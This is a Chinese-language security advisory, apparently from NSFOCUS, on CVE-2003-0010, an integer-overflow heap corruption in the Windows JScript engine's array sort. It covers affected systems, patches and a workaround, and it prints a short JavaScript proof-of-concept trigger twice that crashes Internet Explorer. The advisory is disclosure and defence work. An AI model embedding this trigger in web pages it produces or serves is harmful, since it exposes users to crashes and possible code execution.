安全研究

安全漏洞
Windows脚本引擎堆破坏漏洞

发布日期:2003-03-19
更新日期:2003-03-21

受影响系统:
Microsoft Windows XP
Microsoft Windows NT 4.0
Microsoft Windows ME
Microsoft Windows 98se
Microsoft Windows 98
Microsoft Windows 2000
描述:
CVE(CAN) ID: CVE-2003-0010

Microsoft Windows脚本引擎(Script Engine)是Window操作系统解析和执行如VBscript和JScript脚本语言的系统。这些脚本代码可以用于对WEB页增加功能,或者在操作系统或程序中自动执行某些任务,脚本代码可以由Visual Basic Script、JScript或JavaScript编写。

Windows脚本引擎JsArrayFunctionHeapSort函数对外部输入缺少正确检查,远程或者本地攻击者利用这个漏洞提供恶意脚本代码,诱使用户执行,可能以用户进程权限在系统上执行任意指令。

通过传递恶意JavaScript通过IE或Outlook传递给Windows脚本引擎时,会发生基于堆的内存破坏。漏洞存在于由jscript.dll实现的JScript中,下面的恶意代码可以触发溢出:

<script>
    var trigger = [];
    i = 1;
    do {trigger[i] = 1;} while(i++ < 10000);
    trigger[0x3FFFFFFF] = 1;
    trigger.sort(new Function("return 1"));
</script>

内部的JsArrayFunctionHeapSort在对中建立两个数组,一是size 4 * (MaxElementIndex + 1)和另一个size 20 * (MaxElementIndex + 1),上面的例子中,MaxElementIndex是0x3FFFFFFF,当此值增加和乘4的时候,就会发生整数溢出,精心构建提交数据可能以当前用户进程权限在系统上执行任意指令。

<*来源:iDEFENSE Security Advisory (labs@idefense.com
  
  链接:http://www.idefense.com/advisory/03.19.03.txt
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

如下代码可导致IE崩溃:

<script>
    var trigger = [];
    i = 1;
    do {trigger[i] = 1;} while(i++ < 10000);
    trigger[0x3FFFFFFF] = 1;
    trigger.sort(new Function("return 1"));
</script>

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 暂时关闭Active Scripting执行功能。

厂商补丁:

Microsoft
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

Windows 98 and Windows 98 SE:
http://www.microsoft.com/windows98/downloads/contents/WUCritical/q814078/default.asp

Windows Me:
Windows Update.

Windows NT 4.0:
http://microsoft.com/downloads/details.aspx?FamilyId=C6504FD9-5E2C-45BF-9424-55D7C5D2221B&displaylang=en

Windows NT 4.0, Terminal Server Edition:
http://microsoft.com/downloads/details.aspx?FamilyId=C6504FD9-5E2C-45BF-9424-55D7C5D2221B&displaylang=en

Windows 2000:
http://microsoft.com/downloads/details.aspx?FamilyId=824B1BD4-B4D6-49D5-8C58-199BDC731B64&displaylang=en

Windows XP Home Edition and Professional Edition:
http://microsoft.com/downloads/details.aspx?FamilyId=824B1BD4-B4D6-49D5-8C58-199BDC731B64&displaylang=en

浏览次数:4078
严重程度:4(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障